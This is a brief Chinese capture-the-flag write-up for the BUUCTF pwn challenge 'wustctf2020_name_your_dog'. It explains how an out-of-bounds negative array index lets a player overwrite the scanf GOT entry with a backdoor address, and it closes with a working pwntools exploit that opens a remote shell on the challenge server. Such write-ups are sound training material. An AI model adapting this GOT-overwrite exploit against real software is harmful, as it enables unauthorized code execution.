[BUUCTF-pwn]——wustctf2020_name_your_dog
checksec看下,
在IDA中看下, 竟然有后门函数,我们只需要执行该函数就好
看完代码发现, 没有什么可以溢出的地方. 唯一可以找到修改一些东西的只有, 这个函数, %7s虽然限定了长度但是足够写进去一个地址了.
看一下它的上一级, 调用发现Dogs在bss段距离got表很近, 意味着我们可以修改一个got表的地址然后, 下面只要有该函数的执行就好. 首先将目光发在了printf函数上
可是发现,printf距离Dogs的距离不是8 的倍数, 发现由于循环, __isoc99_scanf 函数也会执行. 碰巧距离刚好是8 的倍数-56 = 8 * (-7)
exploit
from pwn import *
p = remote("node3.buuoj.cn",29805)
#p = process("./wustctf2020_name_your_dog")
shell = 0x080485CB
p.sendlineafter(">",'-7')
p.sendlineafter("Give your name plz: ",p32(shell))
p.interactive()